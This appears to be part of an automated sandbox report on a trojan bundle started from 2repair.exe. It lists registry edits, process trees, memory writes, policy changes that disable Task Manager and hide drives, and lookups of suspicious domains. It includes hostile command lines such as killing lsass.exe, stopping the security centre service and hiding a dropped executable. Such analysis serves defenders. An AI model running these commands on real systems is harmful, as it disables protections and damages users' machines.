Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{E6E17E84-DF38-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F4D83602-895E-11D0-B0A6-000000000000}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BF877892-E026-11CF-8E74-00A0C90F26F8}\ = "IListItem11" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{58DA8D95-9D6A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1EFB6594-857C-11D1-B16A-00C0F0283628}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BDD1F04A-858B-11D1-B16A-00C0F0283628}\ = "ListViewEvents" C:\Windows\SysWOW64\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{58DA8D8A-9D6A-101B-AFC0-4210102A8DA7} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{58DA8D8F-9D6A-101B-AFC0-4210102A8DA7}\Implemented Categories\{40FC6ED5-2438-11CF-A3DB-080036F12502} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{66833FED-8583-11D1-B16A-00C0F0283628}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1EFB6596-857C-11D1-B16A-00C0F0283628}\Control C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{8E3867A3-8586-11D1-B16A-00C0F0283628}\Implemented Categories\{7DD95802-9882-11CF-9FA9-00AA006C42C4} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{66833FEB-8583-11D1-B16A-00C0F0283628}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.ProgCtrl.1\ = "Microsoft ProgressBar Control, version 5.0 (SP2)" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E84-DF38-11CF-8E74-00A0C90F26F8}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{E6E17E82-DF38-11CF-8E74-00A0C90F26F8}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A \??\c:\windows\antivirus-platinum.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2868 wrote to memory of 2980 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe C:\Windows\system32\cmd.exe
PID 2868 wrote to memory of 2980 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe C:\Windows\system32\cmd.exe
PID 2868 wrote to memory of 2980 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe C:\Windows\system32\cmd.exe
PID 2868 wrote to memory of 2980 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe C:\Windows\system32\cmd.exe
PID 2980 wrote to memory of 3032 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2980 wrote to memory of 3032 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2980 wrote to memory of 3032 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2980 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 2980 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 2980 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 2980 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 2980 wrote to memory of 2804 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe
PID 2980 wrote to memory of 2804 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe
PID 2980 wrote to memory of 2804 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe
PID 2980 wrote to memory of 2648 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2980 wrote to memory of 2648 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2980 wrote to memory of 2648 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2980 wrote to memory of 2648 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2980 wrote to memory of 2648 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2980 wrote to memory of 2648 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2980 wrote to memory of 2648 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2980 wrote to memory of 2588 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2980 wrote to memory of 2588 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2980 wrote to memory of 2588 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2648 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2648 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2648 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2648 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2648 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2648 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2648 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2592 wrote to memory of 2528 N/A C:\WINDOWS\302746537.exe C:\Windows\SysWOW64\cmd.exe
PID 2592 wrote to memory of 2528 N/A C:\WINDOWS\302746537.exe C:\Windows\SysWOW64\cmd.exe
PID 2592 wrote to memory of 2528 N/A C:\WINDOWS\302746537.exe C:\Windows\SysWOW64\cmd.exe
PID 2592 wrote to memory of 2528 N/A C:\WINDOWS\302746537.exe C:\Windows\SysWOW64\cmd.exe
PID 2528 wrote to memory of 2136 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 2136 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 2136 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 2136 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 2136 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 2136 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 2136 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 2020 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 2020 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 2020 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 2020 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 2020 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 2020 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 2020 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2528 wrote to memory of 2632 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\antivirus-platinum.exe
PID 2528 wrote to memory of 2632 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\antivirus-platinum.exe
PID 2528 wrote to memory of 2632 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\antivirus-platinum.exe
PID 2528 wrote to memory of 2632 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\antivirus-platinum.exe
PID 2528 wrote to memory of 2752 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2528 wrote to memory of 2752 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2528 wrote to memory of 2752 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2528 wrote to memory of 2752 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2980 wrote to memory of 2744 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe
PID 2980 wrote to memory of 2744 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe
PID 2980 wrote to memory of 2744 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe
PID 2980 wrote to memory of 2744 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe
PID 2980 wrote to memory of 884 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 2980 wrote to memory of 884 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 2980 wrote to memory of 884 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

System policy modification

evasion
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives = "67108863" \??\c:\windows\antivirus-platinum.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1" \??\c:\windows\antivirus-platinum.exe N/A

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1758.tmp\1759.tmp\175A.bat C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

C:\Windows\system32\timeout.exe

timeout /t 6

C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe

FreeMicrosoft.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe

AntivirusPlatinum.exe

C:\Windows\system32\timeout.exe

timeout /t 2

C:\WINDOWS\302746537.exe

"C:\WINDOWS\302746537.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\2D76.tmp\302746537.bat" "

C:\Windows\SysWOW64\regsvr32.exe

regsvr32 /s c:\windows\comctl32.ocx

C:\Windows\SysWOW64\regsvr32.exe

regsvr32 /s c:\windows\mscomctl.ocx

\??\c:\windows\antivirus-platinum.exe

c:\windows\antivirus-platinum.exe

C:\Windows\SysWOW64\attrib.exe

attrib +h c:\windows\antivirus-platinum.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe

Antivirus.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Windows\system32\taskkill.exe

taskkill /IM lsass.exe /F

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe

Badgame.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe

Hydra.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe

SGen.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Windows\system32\timeout.exe

timeout /t 10

C:\Windows\SysWOW64\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\SFC3820.tmp.vbs"

C:\Windows\SysWOW64\net.exe

net stop wscsvc

C:\Windows\SysWOW64\net.exe

net stop winmgmt /y

C:\Windows\SysWOW64\net.exe

net start winmgmt

C:\Windows\SysWOW64\net.exe

net start wscsvc

C:\Windows\SysWOW64\Wbem\mofcomp.exe

mofcomp C:\Users\Admin\AppData\Local\Temp\4otjesjty.mof

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start wscsvc

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start winmgmt

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop winmgmt /y

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop wscsvc

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe

PCOptimizerProInstaller.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe

VirusCan.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe

matrix.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe

bomb.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe

ChilledWindows.exe

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\6162.tmp\6163.tmp\6164.bat C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\6171.tmp\VirusCan.bat""

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 2320 -s 652

Network

Country Destination Domain Proto
US 8.8.8.8:53 frequentwin.com udp
US 8.8.8.8:53 fastsofgeld.com udp
US 8.8.8.8:53 searchdusty.com udp
CA 54.39.157.64:80 searchdusty.com tcp
US 8.8.8.8:53 highway-traffic.com udp

Files

C:\Users\Admin\AppData\Local\Temp\1758.tmp\1759.tmp\175A.bat

MD5 9eed2c0c3293d9424e3edacf3b36615d
